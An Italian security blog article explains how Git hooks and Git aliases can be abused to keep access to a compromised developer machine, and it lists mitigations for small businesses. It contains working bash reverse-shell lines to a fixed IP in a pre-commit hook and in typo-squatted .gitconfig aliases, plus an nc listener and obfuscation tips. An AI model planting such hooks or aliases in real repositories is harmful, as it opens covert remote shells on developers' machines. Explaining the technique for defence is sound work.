Nel panorama digitale odierno, la velocità e l'efficienza nello sviluppo software sono cruciali, specialmente per le Piccole e Medie Imprese (PMI) che cercano di innovare e competere. Strumenti di version control come Git sono diventati lo standard de facto, e piattaforme come GitHub o GitLab centralizzano la collaborazione. Tuttavia, la sicurezza di questi processi non risiede solo nella piattaforma cloud, ma si estende fino al singolo endpoint di sviluppo. Una macchina di sviluppo compromessa può trasformare un repository Git locale in un punto di ingresso persistente per un attaccante. Come consulente sicurezza informatica e backend architect, ho visto come la mancata attenzione a questi dettagli possa portare a vulnerabilità significative. In questo articolo, esploreremo come funzionalità native di Git, quali i Git Hooks e i Git Aliases, possano essere sfruttate in scenari di ethical hacking o da attori malevoli per compromettere la sicurezza, e come la tua PMI può difendersi.

Queste tecniche, pur essendo efficaci per un attaccante che ha già ottenuto un accesso iniziale, sottolineano l'importanza di una solida postura di sicurezza a tutti i livelli, un aspetto su cui molte PMI potrebbero necessitare di una guida esperta. Se sospetti che la tua infrastruttura di sviluppo possa avere delle lacune, una valutazione da parte di un sviluppatore software esperto in cybersecurity è un passo fondamentale.

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Git Hooks: automatismi potenti, rischi nascosti

Git, come molti altri sistemi di version control, offre un meccanismo potente chiamato Hooks. Questi sono script personalizzati che vengono eseguiti automaticamente quando si verificano determinate azioni importanti all'interno di un repository, come un commit o un merge. Gli sviluppatori li usano legittimamente per una miriade di scopi:

  • Linting e Formattazione del Codice: assicurare che il codice rispetti gli standard prima del commit.
  • Esecuzione di Test Unitari: prevenire l'introduzione di regressioni.
  • Notifiche Personalizzate: avvisare i membri del team di specifici eventi.
  • Controllo dei Messaggi di Commit: garantire che i messaggi seguano un formato predefinito.

I Git Hooks si dividono in due categorie principali: client-side e server-side. Per un attaccante che ha ottenuto accesso a una macchina di sviluppo, i client-side hooks sono particolarmente interessanti perché vengono attivati da operazioni locali.

Come funzionano e dove si trovano i Git Hooks?

Tutti gli hooks sono memorizzati nella sottodirectory .git/hooks/ all'interno di un repository Git. La directory .git è una cartella nascosta (a causa del punto che precede il nome in ambienti Unix-like come Linux e macOS) che contiene tutti i file interni e i metadati necessari per il funzionamento di Git in quel repository.

Quando si inizializza un nuovo repository (git init), Git popola la directory .git/hooks/ con una serie di script di esempio, ciascuno con estensione .sample (es. pre-commit.sample, post-commit.sample). Questi file di esempio mostrano la sintassi e le possibilità offerte per i diversi eventi.

Per attivare un hook, è sufficiente:

  1. Creare un file nella directory .git/hooks/.
  2. Nominare il file esattamente come l'evento desiderato (es. pre-commit per l'evento che precede un commit). Il nome del file è cruciale e non deve avere estensioni.
  3. Rendere il file eseguibile (es. con chmod +x .git/hooks/pre-commit su Linux/macOS).

Gli script possono essere scritti in qualsiasi linguaggio interpretato disponibile sul sistema, come Bash (sh), Perl, Python, Ruby, ecc. Per sistemi Linux, #!/bin/sh o #!/bin/bash sono shebang comuni.

Sfruttare i Git Hooks per la persistenza: un esempio pratico

Consideriamo lo scenario in cui un ethical hacker (o un attaccante) ha ottenuto accesso a una macchina di uno sviluppatore PHP o sviluppatore Laravel. L'obiettivo è mantenere un accesso persistente. Uno degli hooks più utili per questo scopo è il pre-commit. Questo script viene eseguito ogni volta che si tenta di effettuare un git commit, prima ancora che venga richiesto un messaggio di commit.

Passo 1: Creazione dello script pre-commit malevolo

L'attaccante creerebbe un file .git/hooks/pre-commit con il seguente contenuto, mirato a stabilire una reverse shell verso la sua macchina (supponiamo IP 192.168.188.167 e porta 9999):

#!/bin/bash
# Hook pre-commit malevolo per stabilire una reverse shell

# Comando per la reverse shell (esempio per Linux)
# È importante notare che esistono molte varianti di questo comando
# e questa è solo una delle più comuni.
bash -c 'bash -i >& /dev/tcp/192.168.188.167/9999 0>&1' &
# La '&' finale manda il processo in background,
# permettendo al commit di procedere (quasi) normalmente.

Passo 2: Rendere eseguibile lo script

chmod +x .git/hooks/pre-commit

Passo 3: Attendere il callback

Sulla macchina dell'attaccante, si metterebbe in ascolto sulla porta specificata:

nc -lvp 9999

Da questo momento, ogni volta che lo sviluppatore esegue git commit in quel repository locale, lo script pre-commit verrebbe eseguito, stabilendo una connessione reverse shell verso la macchina dell'attaccante. Lo sviluppatore potrebbe non notare nulla di anomalo, specialmente se l'output del comando malevolo viene soppresso o se il comando viene eseguito in background.

Importante Nota sulla Sicurezza dei Git Hooks: I client-side hooks non vengono copiati quando un repository viene clonato (git clone). Questo significa che questa tecnica di backdooring è efficace principalmente su una macchina già compromessa a cui si ha accesso locale e interattivo. Non è un metodo per infettare altri utenti che clonano il repository da remoto.

Nonostante questa limitazione, per un consulente cyber security è fondamentale conoscere questa tecnica per comprendere i rischi associati alla compromissione degli ambienti di sviluppo.

Altri Hooks e Potenziali Abusi

Esistono numerosi altri client-side hooks documentati da Git che potrebbero essere sfruttati:

  • prepare-commit-msg: eseguito dopo il pre-commit hook, prima che l'editor del messaggio di commit venga aperto. Potrebbe essere usato per alterare il messaggio di commit o esfiltrare informazioni.
  • commit-msg: riceve un parametro con il percorso del file che contiene il messaggio di commit. Utile per validare il messaggio, ma anche per leggerlo o modificarlo prima che il commit sia finalizzato.
  • post-commit: eseguito dopo che un commit è stato completato con successo. Utile per notifiche o per eseguire azioni post-commit malevole.
  • Altri hooks: applypatch-msg, pre-applypatch, post-applypatch, pre-rebase, post-rewrite, post-checkout, post-merge, pre-push, ecc. ognuno con specifiche opportunità di attivazione.

La scelta dell'hook dipende dall'obiettivo dell'attaccante e dalla frequenza con cui si desidera che lo script malevolo venga eseguito.

Abuso dei Git Hooks: possibili mitigazioni per le PMI

Per le PMI, la protezione contro l'abuso dei Git Hooks si concentra sulla sicurezza degli endpoint di sviluppo e sulla consapevolezza:

  • Sicurezza degli Endpoint: implementare solide misure di sicurezza sulle macchine degli sviluppatori (antivirus, EDR, firewall, patch management).
  • Minimo Privilegio: gli account degli sviluppatori non dovrebbero avere privilegi amministrativi non necessari.
  • Monitoraggio: se possibile, monitorare la creazione o modifica di file eseguibili all'interno delle directory .git/hooks/.
  • Formazione degli Sviluppatori (Security Awareness Training): educare gli sviluppatori sui rischi e su come identificare attività sospette nei loro repository locali. Questo è un servizio che, come consulente web specializzato, posso offrire.

La comprensione di queste minacce è il primo passo per una difesa efficace, e un partner tecnologico esperto può fare la differenza, come spiego più in dettaglio nella mia pagina chi sono.

Git Aliases: Scorciatoie Pericolose

Un'altra funzionalità di Git che può essere abusata sono gli alias. Gli alias di Git, simili agli alias di shell in Linux, permettono di creare nomi abbreviati o personalizzati per comandi Git usati frequentemente. Si possono configurare con il comando git config o modificando direttamente i file di configurazione di Git (globalmente in ~/.gitconfig o localmente in .git/config).

La documentazione Git specifica che gli alias sono pensati per eseguire altri sottocomandi Git. Tuttavia, includendo un prefisso ! prima del comando aliasato, è possibile eseguire qualsiasi comando esterno alla shell. Questo apre la porta a potenziali abusi.

Abuso tramite "Typo Squatting"

Una limitazione importante è che Git non permette di creare un alias con lo stesso nome di un sottocomando Git esistente (es. non si può creare un alias commit per sovrascrivere git commit). Questo potrebbe far pensare che gli alias non siano molto utili per scopi malevoli. Tuttavia, questa restrizione può essere aggirata con una tecnica chiamata typo squatting.

Quante volte uno sviluppatore software digita erroneamente un comando? git commi, git comit, git psuh, git addd, ecc. Un attaccante può creare alias per questi errori di battitura comuni, associandoli a un comando malevolo, come una reverse shell.

Esempio di Configurazione Malevola in .gitconfig (o .git/config):

L'attaccante potrebbe aggiungere la seguente sezione al file di configurazione Git della vittima:

[alias]
    commi = "!bash -c 'bash -i >& /dev/tcp/192.168.188.167/9999 0>&1' &"
    # Aggiungiamo anche un output fittizio per non destare sospetti
    # commi = "!echo 'commit \"commi\" is not a git command. See --help.' && bash -c 'bash -i >& /dev/tcp/192.168.188.167/9999 0>&1' &"
    psuh = "!bash -c 'bash -i >& /dev/tcp/192.168.188.167/9999 0>&1' &"
    comit = "!bash -c 'bash -i >& /dev/tcp/192.168.188.167/9999 0>&1' &"

Se lo sviluppatore digita accidentalmente git commi invece di git commit, l'alias malevolo verrebbe eseguito, stabilendo la reverse shell. Per rendere l'attacco meno ovvio, l'alias potrebbe anche stampare un messaggio di errore simile a quello che Git produrrebbe per un comando sconosciuto, prima di eseguire il payload malevolo in background.

Attenzione: Mentre gli hooks sono specifici per un repository, gli alias definiti nel file globale ~/.gitconfig influenzerebbero tutti i repository Git utilizzati da quell'utente su quella macchina.

Abuso degli Alias: possibili mitigazioni per le PMI

La difesa contro l'abuso degli alias Git include:

  • Revisione dei File di Configurazione: controllare periodicamente i file .gitconfig (globale) e .git/config (locale al repository) per alias sospetti, specialmente quelli che eseguono comandi esterni (con il prefisso !).
  • Formazione: sensibilizzare gli sviluppatori su questa tecnica di attacco e sull'importanza di verificare i propri file di configurazione Git.
  • Limitare l'Accesso con Privilegi Elevati: se un attaccante ha accesso alla macchina di uno sviluppatore, la modifica dei file di configurazione Git è solo una delle molte azioni malevole che può compiere. La sicurezza dell'endpoint è, ancora una volta, fondamentale.

Considerazioni Avanzate: Offuscamento e Altri Vettori

Nei semplici esempi forniti (sia nel video originale che in questa espansione), non è stato fatto alcun tentativo di offuscare il codice malevolo o di nascondere gli artefatti lasciati sul sistema (come il file pre-commit o le entry nel .gitconfig). In uno scenario reale, un attaccante esperto adotterebbe tecniche di offuscamento per:

  • Nascondere il Payload: codificare i comandi (es. Base64), dividerli in più parti, utilizzare variabili d'ambiente o scaricare dinamicamente lo script da eseguire.
  • Mascherare l'Attività di Rete: utilizzare porte comuni (80, 443) per la reverse shell, magari attraverso protocolli che supportano il tunneling, o utilizzare tecniche di beaconing più discrete.
  • Ridurre gli Artefatti: ad esempio, un hook potrebbe essere uno script minimale che scarica ed esegue un payload più complesso in memoria, per poi auto-cancellarsi (se i permessi lo consentono).

Il transcript menziona brevemente altre idee, come modificare il binario di Git stesso o impacchettare un repository "infetto" in un archivio ZIP da passare a un altro utente. La prima è un'operazione complessa che solitamente richiede privilegi elevati sul sistema, mentre la seconda si basa su tecniche di social engineering per indurre la vittima ad utilizzare il repository compromesso.

Implicazioni Strategiche per la Sicurezza delle PMI

Le tecniche descritte, sebbene attivabili su un endpoint già compromesso, evidenziano una verità fondamentale per le PMI: la sicurezza è una catena, e ogni anello conta. Un sviluppatore software freelance o un team di sviluppo interno che lavora su macchine non adeguatamente protette può diventare, inconsapevolmente, un punto di debolezza per l'intera azienda.

Un contractor IT esperto, come il sottoscritto, non si limita a "smanettare" sul codice, ma adotta una visione olistica della sicurezza, che include:

  • Audit degli Ambienti di Sviluppo: valutare la sicurezza delle postazioni di lavoro e dei processi di sviluppo.
  • Implementazione di Best Practice: definire e applicare linee guida per l'uso sicuro di strumenti come Git.
  • Formazione Continua: aggiornare il team sulle minacce emergenti e sulle tecniche di difesa.
  • Strategie di Incident Response: preparare piani per rispondere efficacemente in caso di compromissione.

La protezione non si ferma al firewall perimetrale o all'antivirus; si estende alla cultura aziendale e alla consapevolezza di ogni singolo individuo che interagisce con i sistemi informativi.

La sicurezza nel ciclo di sviluppo (DevSecOps) non è un lusso per grandi aziende, ma una necessità anche per le PMI che vogliono proteggere la propria proprietà intellettuale e la fiducia dei clienti.

Se questi scenari ti preoccupano o se desideri una valutazione approfondita della sicurezza dei tuoi processi di sviluppo e delle tue infrastrutture, ti invito a contattarmi per discutere di come posso aiutarti a rafforzare la tua postura di cybersecurity.

Comprendere e Difendersi

I Git Hooks e i Git Aliases sono funzionalità potenti e utili se usate correttamente. Tuttavia, come molte tecnologie flessibili, possono essere abusate da un attaccante che ha già ottenuto un punto d'appoggio su una macchina di sviluppo. Comprendere questi meccanismi di persistenza "non convenzionali" è essenziale sia per gli ethical hacker che per i professionisti della difesa.

Per le PMI, questo sottolinea l'importanza critica di:

  • Mantenere sicuri gli endpoint degli sviluppatori.
  • Educare il personale sui rischi.
  • Collaborare con consulenti di sicurezza informatica esperti che possano offrire una visione strategica e competenze tecniche aggiornate.

La sicurezza è un processo continuo, non un prodotto. Investire in competenza e consapevolezza è il modo migliore per proteggere il tuo business dalle minacce in continua evoluzione.

Ultima modifica: Venerdì 6 Giugno 2025, alle 08:16